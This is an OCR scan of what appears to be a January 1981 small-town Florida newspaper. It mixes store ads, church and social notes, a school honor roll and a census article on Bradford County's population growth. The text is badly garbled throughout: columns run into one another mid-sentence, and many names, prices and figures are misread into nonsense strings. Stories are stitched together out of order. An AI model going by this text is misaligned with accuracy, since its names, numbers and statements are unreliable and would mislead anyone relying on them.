in the .r '' '' Iw Rlgh. >U Gator camp but promised to find a guest speaker if Pell can't make it o the BHS JREE: '-- Vidal'.JildtftOon AVB M- arboa' 229Li awards dinner, ; By the way tickets are$10 to club members for the Quarierlmi l'l.II event,a .111\8 .:2nd SETdr PMINT8' FROM "'I: .P .Avans.IFi R IA14PtT00040r1RINa000RrYB1fERYDIIY steak dinner"sitdown starting at 6:30: p.m. with a cash bar. Dinner.. is..njt 7:30: with ,n7. ;" YCXIR DeYELOPRMTIaiS1T: ...,) CI.%pray'.r"179. >> the program set for,8:30. I TINE Of / OUR MEOUtAM LOW PMCB. / RAVE HAIR reitM KIT REPI .. .J*, l$ 79 .} '" oFFI !R OOOQ, VV Rave,Hair.PERM KIT" 3 .r.........w..Ra..... ., .l............... . * " COMBINATION PEPPERONI SAUSAGE THRUIJKN.7,191T' r 1 Ij Alka AVB10IC4. ..SeltzerSCOTT' ., ., Teat.ET. .' .S.139lq fAN ,1t7 / .. L 'J. * > 12oz'FROZEN'r= ;' ; H e 'fr!!rV- TOWELS Y AMORTED OB DECORATED . 99VV 77AVB (: We wish to all ' 85 a prosperous, 5Q. PT. .sAVE 30. : SAVE asSAv.1.rrlioaeNIANTRYra1Dl healthfilledNew ! _ ;i Year.STARXE . . MVII.r.II: : MT,ISM MEATBultonl M 1 ..i ,1- r Cut Beans '. 39* ..Fyne Taste Peas.AVB 31.1 Lux Liquid 99< Ravioli .2/*1 II 0' . .. . .. !...n.'" anoBn a lilt '.a.a 1- ,AVB lo*.I J..BarroniSpaghetti IAVIII.aN PANTRY PIIIIIII * '39, .KaI Han Dog FoodZ/*!, Lea & Perrin SAUCE 99 Twist.2/l 1 French Beans 8CAILOPUI ) pv.14'D..COIlAI.011 WHITB .....f-..r..rrww. ....KI...MID* 1 M *KMFMWIirAltnnrMUBB 'IproT'-L1..CREAM AVB IT Cut Corn, .",. 0 .. 31AVB Potatoes plmeocRw69o: : JJ Soap 0.39c Spaghetti Sauce. 99' ' _""L ,Avl 43.aw" PIDHROOM I t/'r, I ir-IOM rAirrar PRIDE .0 n 1.' i \ 1 Frozen Peas. .... 3OSA'GE /-1 'Cracker. Jacks.' .7/l..... ,',Clncie- Be "s Rice.399-- Noodles..... "AI'lINII/A11D:: .5/. 1 a ..... 1'N. UI LIBBY'S ' WHITEACRE WESSON VOLUME naMBER 18 PEAS OIL 61g OF ranK Iio TOMATO JUICE I Tlmk! .Y, I lor yo -.3:g.239; ""IUICTCL,WAGrlALLSftEW$PED". 6'9'".:. ll l lI J I priirona9a.'' 18. : : :EACH ,480a I + : $ V SAVE 10'SAVE V .te'r-:: .: .'- Yihs ., 'EVERy' DAY LOW PRICES1' FIRESTONE , 402 N. TEMPLE' AVF.STARKE. :. 3 Ml. $ USFte.# 301p FLA. , . .- . 864-8436 Stgfi i ll.. .- '-''' ---... .. , - - - - - - ._ .. ... .. .,. .. .. . .. .. .. .. ,.. I . .-., ... ... '- .-. ... .. y ,................................'." .. .. .,. .. ... .. .. ... ..... ........ .. .. .. .. .. .. _, ,... _. _- .- -.. .-. ..., .. .. -. .... .. .,. ... ".'.-. -:: -VMV --- -- .. ._ --- --. ,. I T\(, J lOA TELEGRAIII January bloat! I (Community Newsby George Holiday, III, Kenny Russekk Williams. Tuesday 8 pm. we will First Born Church of The Living "Following the Star". During his and Miss Agnes Goodwlne. fellowship with Waldo church. God: There will be a Revival meeting discourse, he reminded us that Chris- New Bethel Baptist Church: Wat Jan. 12-23. Services will be conducted] tian wisdom and know ledge are found Elizabeth G. Walker Louis Kelly, Jr. and children, Ms. Mouse Guest < chnight service for the Fellowship of nightly Evangelist Outreach Team and nourished through following the Phone 064-6681 Denise Kelly and son.. Mrs. Mable Mr. Arthur Habkerson! of Churches will be held here beginningat consists of Minister Bruce Cohen star, as did the Wise Men of the East. Tyson and family, Mr. and Mrs. Clinton Bethlehem, Pa.was house guest of his 10 p.m. All churches are asked to Minister Frank Jackson of Jackson- On this Christian journey turn not to Graduation Kelly and children, Mr and Mrs. mother, Mrs. Ella Mae Tyson from cooperate. Sunday School 10 a.m. ville and Elder Kenneth DuPree of the left or right nor look behind. Keep Congratulations go to Ms, Glenda Regional Kohnm, Mrs. Jessie Mae Tuesday to Friday. Morning Worship with the Youth in Gainesville.The your eyes onthe Star, "Jesus". If we Faye Johnson for successfully com- flagon and children, Ms. Earlene charge of all services, beginning with Victory Temple Church of God: do this it will help us do all things that pleting the requirements for her Hagan and children, Mrs. Willie B. Church Activities Sunday School. There. will be a young The members cordially welcome you are pleasing to God. Bachelor's degree in Business Education (Annie Mae) Jenkins and children, Pleasant Grove United IMethodist speaker. to attend their Worship Service each Mrs Alice Hudson sang two selections - from the University of Florida. Miss Mary Alice Mosely and Church: Sunday School 10 a.m. Com- 'Saturday at 12 noon. "Dear Little Jesus Boy" and Glenda j is the daughter of Evelyn and daughter, Mr. and Mrs. John Mosely munion Service :3 p.m. You are Invited American Legion Mt. Alorlah United Methodist "Oh, Holy Night", Willie Banks and Johnny and Mae and family, Miss Linda A. Leggett The American Legion will meet Church: All members are asked to attend Mrs. Hudson is formerly from Pearl Johnson. The commencement and daughter, Mrs. Jurutha DeSue Free Canaan True Church of God In Tuesday morning Jan.5,in the annex Watchnight service at New Philadelphia, Pa., where'she was a ceremonies took place Dec.' 13 In the and family, Mr. and Mrs.Lee Andrew Unity: Watchnight Service will beginat of New Bethel annex at 7 p.m. All Bethel Baptist Church.Sunday School member of one of the Opera. Companies - Stephen C. O'Connell Center at the Bass and children Miss Lorraine 10 a.m. Sunday School! 10 a.m. Morning members are asked to attend. 9:30.: ( Holy Communion Service 11 . University. Glenda's future plans are Bass Mrs. Elouise DeSue and family. Worship 11:30( with Missionary Notice! Moderator Simmons is ask- May the Spirit of Christmas be withus to pursue a Master's degree, starting Friends who joined us in the reunion Best conducting services. ing all officers and pastors to meet a.m.Frances Chapter 140 O.E.S. all throughout the coming year. in the summer of 1981. Family and were Timmy, Flowers James Elder Sampson> White pastor here Saturday, Jan. 10, at 1 p.m. for presented Minister Clarence i/j Price Sale friends attended the ceremony. Reed Early Chandler, Mike Tisdale Prayer Band meeting each Monday 8 the purpose of planning a program for Williams, instructor at Community at ....__..-1_...._.. ..______ Lomar Hamilton Mrs.Ella M. Tyson p.m. Teacher Elder Clarence the one day session. Day Care Center. He spoke on The Office Shop ""nl."I'UIITuK..rn" There will be an Emancipation Pro- gram presented Thursday, Jan. 1, 7:30: p.m., at Greater Allen Chapel AME Church The speaker will be Mr. ECKKRD FAMOUS PHOTO OPFKRTWICB Robert Austin, Jr. of Lawtey. The THEHHMTS Get on extra...d print*with every public Is invited.Annhersary roll of color of Week and""""I"print film developed and eEl cIpUs printed...TODAY AND EVERYDAY.TWlCBTHKnUNOet . two rolls of print film fortM price Mr. and Mrs. Christopher C. of on*Kodacolor or black and wltlt*.wh n you hav your Chambers celebrated their 40th wedding Him processed: Eckerd'*...TOPAY AND EVERYDAY. anniversary Dec. 22. Many con- QUAMANTH Buy only the prints you wa t NohOMle- _ gratulations to the couple. twn If the coot was hn the. picture taking. Family Reunion The children of Frazier Kelly reunion _ was held Friday Dec. 26, at the home of Jurutha DeSue, 415 West Utah Street. 41 Attending were: Mrs. Lorine p.SiREM Williams, Mr. and Mrs. Voscoe Hankerson and family, Lott Williams Mrs. Louis Kelly, Sr, Mr. and Mrs. Richard (Disnne) Chandler and . daughters Mr. and Mrs. Sharon , Sams and daughters, Mr. and Mrs. ;peanutsr DRYIDB& TYLENOL 18OUNCEFLAVOR 9-OUNCE EXTRA STRENGTH PEPSODENT ,STYLE DRY IDEADEODORANT ROAST SOFTSOAP . CAPSULES TOOTHPASTES HAIRSPRAY; PEANUTS fM .decorative)dispenser Bottle of 100.Aplrln-lree 5-oz.size.30* 8-oz.Aerosol spray.Choice' 1.5-oz.size., 2 types. 18-ca.iaroi| dry roosted nuts. of liquid hand soap.Brown or| analgesic capsules. LIMIT 1 off label LIMIT 1 of 2 types LIMIT 1 LIMIT 1 REG. $ .89 LIMIT 1 gold. RED.$'.8' LIMIT 2 54J 2896911: 79* 1 17 139 9SC Cr .. ., . . . - .' .. . . . . >- L p p 1OA TABLETS EFFERDENT. BoxolW LIMIT tablets) 1 De BLUE CMP SALE PEPTO DISMOL . Antacid.Relieve We are gratefulfor upset stomach. m BRONCHIAL r asc 4-cz. bottle. I '- .. .. . - your patronageand LIMIT 1 Bbimof ''0.. DM SYRUP .. . for ;::\\.j <\ OP1! .WATER MISC1BLEI jjn C|> CougTH Mjpu , STRESS Eta *expectorant. - your friendship. FABEROE SHAMPOO/ ORGANICS I VITAMIN A CAPSULES| :. COMPLEX + B formula 4-os. ! 15-oz "939 *100,2S.000IU.cap-UM. More readily TABLETS Inn Gulf . Holiday -1r 89. Normal % absorbed by the body. Bottle of 40 Ublate.High type potency strew 1 DICALCIUMPHOSPHATE . & Automatic Car Wash LIMIT 1 .. adult. With mnucNr WITH VITAMIN D . "w --a ff Calcium,phosphoroua ft 1011 N. Temple Ave. VZif 100' [@jCllllPllI ," 398 24 9 Vitamin' D 'formula. ULTREXSHAVER 2 twin blade B-COMPLEX '"'::1 ] 100 tablets. I Starke disposable I : WITHVITAMINC .., razor. B-Cotnplex vitamin, __ __ : 964-5899 ; LIMIT 1 PK. plus S00 mg. of '-" -- 4 .AMILYFORMULA 5mm taWal Vitamin C In each jJ 0.'-:'-. MULTI-VITAMINS ' 3W PLUS IRON . . TREATS Bottle of \"te..)40'?' WITH IRONFruittlavored 219 I 100 tablets. . '- [j-] multl-vltamln BCOMPLEXWITHVITAMINC :.:.:. BEN O AY I Na i J supplement with Iron. _- ? iki' ENT1.25oz.. I Ccrnplexvltamint. _. Eot1leot100tableta.gse I -= tube.Qreaseles plus 500 mg of :::. > I I art' .. *ointment 1 269 VltSmln C In each TiJ 339 r"i: ;:' 24TABLET8H3STATR1AM3NE'"; ' ' LIMIT 1 \ tablet.- -- ; ? - For allergic re- 0 23 ac1Ion. tel sun - > e e 'TIMERELEASEVITAMIN 1 lined brte * QUALITYPOWDER i: ] CCAPSULES :" hay fever . 14-0z.90" II r Yy, 58 Q "ooth.' SO.500( )mg.capsules WHEATAVIMS V De I LIMIT 1 9 provide continuous muau( MULTI VITAMINS." k"Y ,< ..sUlplyoveeJCt8flded) "-' Hlgh-polenc'ormul.'ovIdea"' QUARTETSTABLETS 1 ,f 7 ,, . p tcci.of timeI - 12 vitamin ft 7 mineral, plus r I'I? v ECKERO ;: wheat germ M tablets. ForftesdcoWs. OIL OF BEAUTY! hay'_. Bottle O 4-oz.Molstur- [Il. i. SYNTHETIC 423 "217 of 24 tablet*. 1/t nail lotion.1 I -J I VITAMIN E I CAPSULESDletsrysu { , lement { I 'A COVER GIRL Bottle Of 100, x 11 .SUPER HISTACMAKEUP 453 goo 1.1).capsule: (Iff:.. De< CAPSULES Liquid or : ALLERGYJJ' mm 24 capsule*. . 9 / MuWpte-octlon 14 pressed TABLETi"' I Ii 24 powder. .. cough *cold 1 .1 LIMIT 1 For sneezing runny nose, formula.GOPAIN "' " I VITAMIN E watery ft Itchy eye*ft alnu I I SKIN OIL congestion. 24 tablets.- 1 ,..:-... JIANNATI'HAND..ODY I f LOTION Fragrant ; 395 FClfniGhl1lm.mdtlurizing Concentrated J 164 I : 1.1-OZ.CREAM1t 11 ii 269'11-c12. : lotion. @) t-oz. bottle.zm ) s t* For muscular t x' ) S3.SO LIMIT 1 ) "* echaa&arthritis, /pain*. ,,/ ?> ) .. " o ROBITUS8INDMM w MO. 1/x . i II; 1 .. 4 A 4-oz. I21NCTADUETS1n ZINC WHEATACOL Wheatacol , "M mty nasal u 1w1n GOPAINI iAeIETS j F P ..,,11 M formula.I Oletaryrnlne/al' Gl TABLETS EXTIU'STRENOTH BALM < g wppleirent.' I., Potsntvllaminmineaitonlc.Ynasaw5Mt' ?'."' ';....'. N_<<' CORTAID LIMIT 1: Bottlsof 100. ,IM1-.n With minerals.>8Comp'nI.1amln 79' Bottle' of.40. C A 2' pain 75at'railM-.Soothing balm t;;) : CREAM or !NT : 1! .J! 2 : . 0.5-oz l. '''In .- SUPER > ... IUPUI ANTI B Welcome 1CCI eczerne. -! b 11 _"_ W HISTA-C 'y . ' I bite* ft NASAL SPRAY COUGH "\ SYRUP1gm " Ivy. LI LongLsstlng I l1 . formula.- 4-Wr.> Multiple. S.r- 1981 Ijso 2CC) action cough . spray. , ft cold formula.JIP' . I DEX! -A.TR1M TWO STEP . : Our warmest 2exena strengtrtcapsule, REDUCINGPLAN ; 1/1" *). rc.- . I wishes For a 1 So:.SoW. NATURAL ,.,,... InLIMIT . full and happy VITAMIN PREDEMA ::: . CAPSULES 329tab..lOM TABLETS - : q.YlLSlaadU! El .. i Populeraupem8flL. 1i! Oluretleeoentfor '_ - New Year.Hardee's HUMIDIFIER 8011'4' of 100. pre-menslrual water ' 489 O 217 weigrtt gain. M ". .1It. HoM1Vfcigala. 20Oi U. cepsule*. : tll1f. I, : Meat Market 9 .of operation.. 17 hour i ____ '.tablets.L :r= Dwayne & Darlene r-brdoe -. Owners No.250 . '; LIMIT 1 1 Oe W e ps, . ; Jormerly( Watef Meat Market) 216 E... Washington St. Starke 964-6725 l IPage .' I 1 1 . ' 'I January I. 11111.. TFI.RfiHABMILawtey po ,....r.. .. '" 8irf J News present. They played three games, ly Joined them for Christmas day. and children, her son and daughter- Christmas evening dinner guests of until Friday with her'sister, Mrs. J.P.. -M lit after which Mrs. Chesser opened her Wayne Thornton of Fort Hood. in-law, Mr. and Mrs. Danny Griffis their parents Mr. and Mrs. R.E. Wyrick of Tallahassee. They, with !. > gifts. They served cake and punch for Texas visited his parents, Mr. and and daughter Dana, of Jacksonville, Altwater also of Jacksonville.Mr. Mrs. Wyrick's son-in-law and br.idi refreshments.Mrs. Mrs. Arthur Thornton for the were dinner guests of Mrs. Nellie and Mrs. O.J. Boyette, Jr.,and daughter, Mr. and Mrs. Charles J : '*. |by Miss Elizabeth! Terry Ernest Hewitt and son Jerry of Christmas holidays Wilkinson and sister ,Mrs. Daisy family,were Christmas dinner guestsof Carter, were supper guests of their ol ''n. ; Phone 783-3300 Tallahassee spent Christmas day Mrs Doris Barbour and children, Boch. After lunch, Mr. and Mrs. their brother-in-.law and sister, Mr. son and daughter-in-law Mr. and with her parents Mr. and Mrs. Arlie and her mother, Mrs. Opal Lewis Robert Smith, Mr. and Mrs. Virgil and Mrs. Robert Joiner and family of Mrs. Larry Carter and family "Rrsonale: Dobbs. They .brought, dinner with went to Wilmington N.C to visit Mrs. Griffis, and Mr. and Mrs. Larry Jacksonville. Other guests were Mrs. Wednesday evening. Mrs Wyrick and V'Mr. and Mrs. Johnny Jenkins of them. Lewis' sister Mrs. Clara Cummings White,spent! the afternoon with them. O.J. Boyette, Sr., of Lake City and Miss Terry were Wednesday over -'Milliard' visited their mother. Mrs. Melvin Futch of Jacksonville was a for the weekend.Mr. Mr. and Mrs. George Smith of' Mr. and Mrs.Don Boyette and familyof night guests of Mr. and Mrs. Carter. Q.J. Anders, on Sunday afternoon''' recent dinner guest of.Mr. and Mrs. .and Mrs.Danny Luke and Erin, Jacksonville were Friday belated Macclenny. All of them enjoyed Christmas dinner baa J:)1l>ee. 21)). Truman Norman and Mrs. Carl. ) spent Christmas weekend with their Christmas dinner guests of Mr. and Johnny Devore of Winter Park together with Mr. and Mrs. Charles Miss Elizabeth Terry spent Prevatt. parents. Mr. and Mrs. Tom Whaleyand Mrs. Henry Smith and children. spent Christmas with his mother Carter. Wednesday (Dec. 17) with Mr. and Mr. and Mrs. Gene Southerland of family of Tampa.Mr. Lisa, Stephanie, Rhonda,' and Mrs. Pauline Devore.Mr. Mr. and Mrs. Wayne Hardee and nl'Mrs.' Willie Green and their sister, Hartville, Ohio visited their brother .and Mrs.Lynn Boch and Jenny, Michael Starling were ,Christmas .and Mrs.Glenn Shuford,Nancy family, were supper guests of their * 'Mrs. Lavonia Griffis, of Starke. They and sister in-law, Mr. and Mrs. of Alachua, were Christmas Eve supper afternoon guests of their uncle: and and cousin Stacey visited Mr. and parents, Mr. and Mrs. Fred Carter of reame for her and. brought her back, Rowell Prevatt for the Christmas guests of their mother,. Mrs. aunt, Mr. and Mrs. Tom Nettles of Mrs. Doss Higginbotham, of Max- Clay Hill on Saturday night.The occasion home. holidays. Daisy Boch and grandmother Mrs Lake City. ville, on Saturday night. was to celebrate Mr.Carter's birthday - nJI"The ladies. of the! Ffrst Baptist Christmas Eve Mrs. John Tye, Sr. Nellie Wilkinson. Christmas day, Mr.: and Mrs. Mr. and Mrs. Wayne Hardee and . Church were hostesses for a Bridal spent the weekend with her soninlawand Mr. and Mrs. Henry'Smith visited James Bowman and son, Bryan, were family were Christmas dinner guestsof Mrs. J.P. Wyrick and her sister Shower for Mrs. Donna Herndon, daughter Mr. and Mrs. Tommy their sister-in-law. Mrs. Ollie Smith, Christmas dinner guests of their their parents, Mr. and Mrs. Fred Miss Terry, attended the Bible Study Chesser on Thursday night (Dec. 18) Talley and family of Jacksonville. of Jacksonville;on Christmas day mother Mrs. R.W. Bowman of Carter of Clay Hill. Program in the Georgia Bell Dickinson - at the church. There were 18 persons Mr. and Mrs John rye,Sr.. and fami- Christmas day, Mrs. Maines Griffis Jacksonville and they were Miss Elizabeth Terry soent Monday Building Wednesday morning where Mrs. Wyrick lives. Dr. Harry Martinez was the speaker. Mr. and Mrs. Mike Crapse Jr., of Hinesville, Ga.. spent the Christmas holidays with their parents, Mr. and Mrs. Cecil Hardee, and Mr. and Mrs. M.D. Crapse Sr.,and other relatives. Mrs. Joyce Futch of Blackshear, Ga., and her son, Terry Futch, of Jacksonville, were guests of her sister, Miss Elizabeth Terry, Friday and Saturday. Terry went home Saturday and Mrs. Futch remained with Miss Terry until later. a Mr. and Mrs. Jerry Chapman of \ i/ Jacksonville, were Christmas day _. .;, dinner guests of Henry Hodges and :ptl A.iI; : family, and Mrs. Vivian Crawfordand .. '' sons of Starke. Art* s. / : Mr. and Mrs. Hermie Kelly and Roach IVJiitil { Mrs. A.P. Hallman, of Keystone Killer i.REALKILL Heights, spent Christmas week with ( their son and daughter-in-law, Mr. and Mrs. Wendell Kelly of Lake C r >, oao Worth. .. ........ "...,. Mr. and Mrs. Jerry Glance and "., ':'.;;.... .............. family, of Palatka, were Christmas afternoon guests of Henry Hodges and family, and Mrs. Vivian Crawfordand STP SOPHIE MAE LLOYD'S sons. DURACELL Mr. and Mrs. Wesley Thomas and ANT/ROACH SON.OFPEANUT 9-VOLT CREDIT CARDCALCULATOR Jay of Live Oak Mr. and Mrs. Tom BOWL POWER SPRAY A-GUN Casey, Starke, Mr. and Mrs. Johnny BOWL CLEANER 11-ozAerosolepray.Kllle: 8-ozThepenetrelingprotec. BRITTLE BATTERY 4 key memory&auto power Hobbs, Gainesville Mr. and Mrs. Lee Auto matlc bowl cleaner., most crawfnglneecta. tor for vinyl rubber Peanut or coconut,l-oz. Alkaline battery for toys shut off.With case batteries. Casey and Tara Kingsley Lake, Mr. REQ. $1,09 LIMIT 1 REQ$1.79 LIMIT 1 leather REGk. $2.89 REG. ar- records& more. REQ. $1.99 No. E-621 REQ. $11.9999C and Mrs. Seeb Andrews and family Wildwood, Mrs. Gayle' Todor and sons, Orange Park Jeff Torode. 144199 59c 139. .999 Jacksonville Mr. and Mrs. Chuck Moore and sons, Hollywood Fl., Mr. and Mrs. Danny Thompson and sons. . Jacksonville, and Mr. and Mrs. H' . .. . Mickey Moore and Trisha were Christmas dinner guests of their 'MACARONI8CHEDDAR SSHELFWOOD.SANYOAMFM Mrs. Fred Moore. isx1S" mother, Easy toflx main dish., PEDESTAL ETAGERE RADIO Mr. and Mrs. Floyd Jenkins of REQ.39EA.. LIMIT if .,,. Mar-reai start woodgnin Slide rule tuning. Jacksonville were Christmas dinner r -+ H1BACHI vinyl laminated. 11W* Tone control. :' _, ._ guests of their brother-in-law and 3 //J c Cast Iron.Adjustable 23" X 63". REQ. $39.99! No. RP-5445 -- sister, Mr. and Mrs. O. Nicula and FOR) grid 4 drafts.REQ. Vickie. $17.09 2999 Jimmy Moore, Jacksonville, was a PACKOF700TYPING 2499RECORDSTORAGE dinner guest of his mother Mrs. Fred PAPER 's '' n# Moore on Saturday after Christmas. P'emlum quality Reggie Norman spent Christmas paper for your holidays with his parents, Mr. and F special needs.M. nw r CABINET Mrs. Truman, Norman and his grand1 \ nr.v1 RE4 51.89 +' ..w. ., Sg ,, natruci M' + \1 mother. Mrs. Carl Prevatt. 1 p me qs a ATL E EZr1f i1C Ilon.r'Pecen.etyle"i i Mrs. Henry A. Carter of Columbia.S.C. . P COT ON WOR '" BLANKETS llnlari. REQ. $29.99 > ., spent the Christmas holidays GLOVES Twlnorfull size.Dou- | 4 I i ''i'e tll with her mother Mrs. Flossie Rosier. , Bani L Men's 4 Ladles'. ,bleBaingleconVOle. 2295 ti Mr. and Mrs. Fleam Starling were f jTlp Qreat for garage 'Assorted colors : e Christmas dinner guests of their son f a & yard work. and daughter-in-law, Mr. and Mrs. ** 12 INCH OUTDOOR and of REO. 99' LIMIT IZFRUITOF / M $5 + Franklin Starling family OFF( THERMOMETERUNDERWEAR Bryceville.. THE LOOM Large legl ble numerals.REQ. DAZEY Miss Arthurine Blanchard visited RCatlLARPRICXS $7.99 4o5OFOOT SAVER her sister Miss Enza Blanchard at ,100%comfortable A ab* 1 1' Baker Nursing Home at Macclennyon D8 i f\f\ Vibrating massager. sorbent cotton. White 5 t0 : Sf 51 Wet or dry with or Christmas day. only.( Choice ol'sizes: }. GALAXY 0 9Q v. 24 1 without heat. No. Mr. and Mrs. Robert Starling and N BRIft' i y family of Jacksonville spent a short """"""' .. i; FS-3 REQ. $29.991t0 "r HEATER BEAN POTLAMP 10 .. 100 time with their parents. Mr. and Mrs. Pte' I J 900/1150/1500/ 20 Fleam Starling on Christmas even- 9I fORlilf 'W lta.Fan'orced 3O u0 r PICCO QUARTZ Instant heat. No. 14"tall.Ceramic basaA a* ing.Mr.. and Mrs. Earl Troxell spent I IR TRAVEL at a :.99003 REQ.$34.991 shade, Hex. ! 9 pleated '1C'a'I; t New Years week with their soninlawand 9 cr round.REG.$12.99 ,1 .b? Y'IY t ALARM 7' ( daughter, Mr. and Mrs. Craig 279 O88 Plaasanta/arm./ Carroll and family of Boca Raton .fI r No. 601 ... Mr. Millard Jordan is visiting his REG. 517.99OonveTilTanfrio' family In New York for New Year's r I. week. '' SVCERAMIC ,'.1499! Mr.. and Mrs John Steele and Mr. rson m*fds<'. TRIPLE TOP ASHTRAY and Mrs. Dempsey Walker, were !1 Ithouta'' eee3. i Aesortedeolora. d guests of Mr. and Mrs. Lester Walker EQ. $3.ELD PITCHERTwiattop REQ.$1.69 GENERALELECTRIC and family on Christmas evening for SH "', 'powaelran' to close.. JU .r SECURITY 1 supper.Mrs. Jean Biles and son. John. Jr. HER "" y',fiiECi'u h99 N a. 5 ,LIGHT s o of Miami were New Years' week' Cleaner&anti l y -' '" kO Q Goes on when guests of their brother-in-law ant freeze. |rfREQ. I 10 O power goes off I IREQ. sister Mr. and Mrs. Barry Watts am '- + 1 BIG PENS tr $11.99WESTCLOXDUNMAR Barry Lee. $1.49v i RoUerpenalnblack < Mrs. B.L. Wilkison. Sr.. spent A LON or blue. REQ.98 EA. Christmas week with her son and fcHCAN l :: + fb1Y' daughter-in-law, Mr.and Mrs. Hubert Domedlop8 ,FOLDING 2/9SC/ ] ,,1'T' .. PROWSE Wilkison. of Live Oak. ; / ALARM CLOCK Mrs. Wilma Wainwright spent 'conalrecUon. BED "' """"" with her son-in- Easy to read numerals, Christmas holidays .L REQ. $18.99- Light-weight aluminum I Iframe. $.SUBJECTWIREBOUN o' '. i sweep second hand.:' law and daughter.Mr. and Mrs. Allen 3" solid foam NOTEBOOK ''White. E'ectrlc.' No. U MJ l Brown and family of Jacksonville. LAP/BED mattress. Folds for,95 200 ruled&punched 2203 REQ. $8.99 q, ,L 2etorage..33E Col. and Mrs. Wm. Wilson. Mr. and TRAYS j sheets. REQ. $.... 0'y 3 Mrs. Carl Hurst and Mr. and Mrs. a ff> Plastic folding4O 599 Douglas Hardy were hostesses for a O legsREG.. $4.99 829 7 6 Christmas cocktail party on Saturday night. Dec. 27 at the home of Col. and VIEWMASTER Mrs. Wilson. There were more than PACKETSHOUSEHOLD two hundred persons present and the -..",: ..... Cartoons.TV characters Aaae's decorations for the home were PLASTICS travel ftmore.REQ.$2.19 A beautiful. JANCO REEIJRODCOMBO" "" Mr. and Mrs. Henry Gallagher of Choice popular PLANTERS Lnm Deland. Mr. and Mrs. James colors! REG. $399' .Earthen pots In as-. Smooth A Kent operating 8 Gallagher and family of Miami. 44arrvwASTiMAfKrr1SjU.UUNDRYBASKIT] sorted designs& a- neLCeremlaquldedeuper .18 spent Christmas week with their son- color REQ.$1.99 $ rod*. REQ. $29.93 in-law and daughter. Mr. and Mrs. zaonwAaTttglii Roberts and daughters. All of'' e Q FOSTER GRANTSUNGLASSES" Randy J30 r them celebrated Amie's first birthday - YOUR .! + Saturday.Dec. 27. CHOICI5GAL.GASCAN Men's*ladies'styles Elizabeth myth is spending New In latest fashion Years week with her grandparents.Col. . .., ' FLOTROLLBAIT PLANT STAND frames. and Mrs. Wm. Wilson and other Solid-core circular shelves A BUCKET relatives. natural wood posts. Easy towllh.poUt..RfiG.$8.99 Floating bucket keeps 25% Mr. and Mrs. Zack Andrews and Metal construction. assemble. REQ. $29.99 bait alive& lively/- w son. of Rome Ga.. visited Mrs. Elsie PEG. $4.88 Norman during the Christmas 22SJ5 OFF HCaULARPfUCIS holidays. 691' 359 Lucian Prevatt of Gainesville wasa dinner guest of his parents. Mr. and ATO 6iic0| >;l'arn fV..Or: 0dt.: StoresDRUGS Mrs.Mrs.Fleam Joyce Starling Bennett on Friday and her We flU! Med'cald) rnmj"Jfi'f; :rnfi) ztlilrnfill:1fiJ daughter.Bristol. Tenn.Miss. attended Dianne First Bennett Baptist of _proscriptions.> W* I.JW.! Js.Ju! LJwr., .. LJLlJWLa Church on unday. They returned to also honor most Bristol, Tenn. Sunday afternoon Insurance ( Itwtct3?( after visiting her son and daughter-in- prescription drug jLPLUi1Jet ., I law. Mr. and Mrs. Danny Bennett. Mr. and Mrs. Douglas Brown and .programs.'Ask 831 S r Smrke. Fl" son of Chilhowie. Va.. and Mr. and your EcfcerdPharmacist Walnut St t a., SALE PRICES OOOD THRU SAT.WHKDAYS Mrs. Tim 'Brown and daughter of M 9 P.M 4 SUNDAYS 10 A.M.Ml 7 P.M.WC . RESERVB THE RIGHT TO UMIT QUANTITIES Hillsvllle. Va.. visited] their parents. Pastor and Mr. David Brown Mon- day until Thursday. Mr. Tim Brown. .: .' : who Is principal of Joy Ranch Chris- ;t tian Home brought slides of the school and showed'them in' our church on Christmas Eve (Wednesday). J I. .:: ..:-.. -" - - r _ .. '. .. ---.f". ..."' ... .. .. -...... . 1 """' 0:;: -f"" r.. , - I I ( Page 12A TELEGRAPH January. l.l'Ml!>!I , Bradford Middle SchoolMarsenna 14jl. c 5,422 Residents Added h " Brantley Is the only student Stacey Reddish; Rita Richardson I : of 650 enrolled at Bradford MId- Kelly Baldwin, Allen Gonzalez Erica : dle School to earn straight-A's for the Gruen, James Hayes Theresa Mc- f'jf To County in DecadeBased second six-weeks grading period Collum Jimmy Wilson LynnHoltzendorf which ended Nov. 18. Donna Parker Joseph Seventh grader Marsenna the Griffis Richard O'Steen George u I on unofficial U.S. Census New York, tile number two state in daughter: of Mr. and Mrs. Gerald Ricks and Tammy Dempsey. returns, Bradford County will start population, showed an actual Brantley of Starke says math is her Scholastic Achievement: , the new decade with 5,422 more decrease of 4.2 percent in the 1980 census favorite subject,and she likes to read. Sheron McCutchen. L residents than it had in 1970. and may lose five of its 39 seats in Marsenna also earned straightA'sthe 8th Grade when first six-weeks along with 12 A/B Honor Roll , the House of Representatives If final figures, to be released census districts are' redrawnfor other BMS students. Phillip Crews, Tony Davis to cities and counties in April, bear congressional BMS administrators say Miss Christopher Norman Sue Smith out early reports, the 1970-80 period 1982 elections. Tonia Parks, Florida's neighboring states in the Brantley is "an outstanding studentin Cheryl Keedwell, will set a record as the fastest growing Elizabeth Donald Thornton Southeast showed( much slower every way. She is a member of the Payne, decade in the county's 119-year Diane Wood Melanie growth rates: Georgia 17.6%; BMS chorus. Lee White . history Alabama 12.2 Louisiana 15.1; South Eighty-six students in the sixth Wood, Kay Allen, Pam Austin, Tracy i Bradford's gain from 14,635 in the ; Baez, Regina Cannavo, Donna Dor- Carolina 18.4 and North Carolina through( eighth grades at BMS earned 1970 census to an unofficial total of 14.9.! ; places on the A-B honor( roll for the se- miney, Karen Kimutls Stephanie 20,047 in 1980 represents a population madeno Redding Tonja Rigby Jody Rising, Starke's early, unofficial count in cond six-weeks, meaning they increase of 37 percent just 4.4 percentage the 1980 census was 5,181-a gain of grade lower than a B. The follow- Amy Roark Alan Rogers, Lenore points less than Florida's overall only 433 over the 1970 census count of ing students are on the honor roll or Welty Len Eaves, Rhonda Sapp, , gain of 41.4 percent during the decade: 4848. In its 1978 projection of growththe scholastic achievement honor roll:; Dawn Scott, Sabrina Snell! Elizabeth wlr December 31. ending / Stitt Judy Strickland Vickie University of Florida Bureau of Final state totals were released by and Business Research 6th Grade Thomas, Rebecca Young, Brenda Economics the Census Bureau last week showing of for A/B Honor Roll Bawek, Janet Brooks, Kimberly (forecast 5,152 a population Florida jumped from 5,791,418 in 1970 Starke by 1979. Kelly Jackson,Tammy Moody Cindy Cogdill, Cheryl Foster Maxine to 9,579,495! in 1980 making it the third The actual growth( in the county ex- Parado, John Clark, Steve Jane, Fralick' Lisa Green. Catherine Lan- fastest growing state in the nation, Justin Williams Kristin Alday, caster, Rosaland 